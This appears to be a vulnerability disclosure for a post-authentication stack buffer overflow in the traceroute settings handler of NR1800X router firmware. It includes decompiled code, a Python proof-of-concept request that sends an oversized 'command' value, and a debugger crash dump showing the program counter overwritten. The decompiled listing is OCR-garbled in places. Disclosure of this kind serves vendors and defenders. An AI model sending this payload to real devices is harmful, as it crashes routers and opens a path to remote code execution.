NR1800X - bof - setTracerouteCfg

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

```
1 int fastcall sub 420F68(int a1)
2 {
3
    char *v2; // $s1
4
   char *v3; // $v0
5 int v4; // $s0
 6 char v6[128]; // [sp+18h] [-80h] BYREF
7
8 memset(v6, 0, sizeof(v6));
9  v2 = websGetVar(a1, "command", "www.baidu.com");
10  v3 = websGetVar(a1, "num", "");
11 v4 = atoi(v3);
12 if ( !Validity_check((int)v2) )
13
      sprintf(v6, "traceroute -m %d %s&>/var/log/traceRouteLog", v4, v2);
14
15
     doSystem(v6);
16 }
    setResponse(&word 4370EC, "reserv");
17
18
    return 1;
19 }
```

In function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi, the size of command is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setTracerouteCfg", "command" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 VO
    0x1
 V1
    0x1
    0x1
 A0
 A1
    0x1
    0x1
 A2
 АЗ
     0x0
    0x77518998 ← 0x6c5f5f00
0x77513738 ← nop
 T0
 T1
 T2 0xa21
T3 0xffffffff
 T4
    0xf0000000
 T5
    0x1
    0x1
0x3a22656d ('me":')
0x411008 (setResponse+396) ← move $v0, $zero
 T6
 T7
T8 0x39
T0 0x37th20h0 ← lui $gp, 2
$0 0x61616161 ('aaaa')
$1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x8211b0 ← 'setTracerouteCfg'
S4 0x44b000 (set_handle_t) ← 'setLanguageCfg'
S5 0x821008 ← 0x6f74227b ('{"to')
S6 0x821140 ← 0x0
     0x770318b4
 S7
 S8
    0x770318b4
    FP
 SP
 PC 0x61616161 ('aaaa')
► f 0 61616161
```